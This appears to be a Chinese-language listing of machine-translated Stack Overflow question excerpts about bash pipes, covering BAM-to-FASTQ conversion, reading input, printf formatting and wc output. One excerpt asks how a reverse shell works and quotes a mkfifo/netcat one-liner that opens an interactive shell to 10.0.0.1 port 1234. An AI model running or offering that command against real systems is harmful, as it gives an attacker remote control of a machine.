如何将BAM转换为管道中的FASTQ进行分析,然后删除生成的FASTQ

抱歉,这个问题,但我是一个没有太多编程经验的生物信息学家,我不知道该如何解决。 我在服务器目录中有几个BAM文件。我想用grep计算BAM和CorrisPonding FastQ文件中的出现数量,但是由于缺乏空间,我还需要在分析后删除每个FastQ文件。... 阅读全文

bash grep pipe

如何读取从管道到bash脚本的用户输入

我想从bash脚本test.sh中读取用户输入: #!/bin/bash read -p "Do you want to continue? (y/n) " yn case $yn in [yY] ) echo "Doing stuff..."; ech... 阅读全文

bash pipe stdin

如何读取和格式化通过bash管接收的文本流

目前,我正在使用以下内容从我的NPM脚本格式化数据。 npm run startWin | while IFS= read -r line; do printf '%b\n' "$line"; done | less 它有效,但我的同事不使用Linux。... 阅读全文

bash go npm stream pipe

当 文本没有被击败打破时,如何将输出输送到printf

我有这样的文字: "while compiling ejs\n\nIf the above error is not helpful, you may want to try EJS-Lint:\nhttps://github.com/RyanZim/E... 阅读全文

bash pipe printf

如何打开从bash或zsh中长期运行过程记录的URL

我有这个命令: docker run -p 8080:8080 -p 8081:8081 --pull always -u $(id -u):$(id -g) -v $HOME/livebooks:/data ghcr.io/livebook-dev/l... 阅读全文

bash docker pipe

当被命名管道阻止时,壳如何执行NetCat

我不明白这个反向shell: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 从我使用mkfifo管道的玩法中,我知道,当试图将管道(E.I通过cat... 阅读全文

bash shell pipe

WC为什么根据Stdin的连接方式输出不同的填充空间

请参阅以下两个命令,其中输出: $ wc < myfile.txt 4 4 34 $ cat myfile.txt | wc 4 4 34 我的理解是,这两个都将wc过程的stdin连接到myfile.txt的内容流。但是,为什么在一种情况下填充输出,而... 阅读全文

bash pipe stdin wc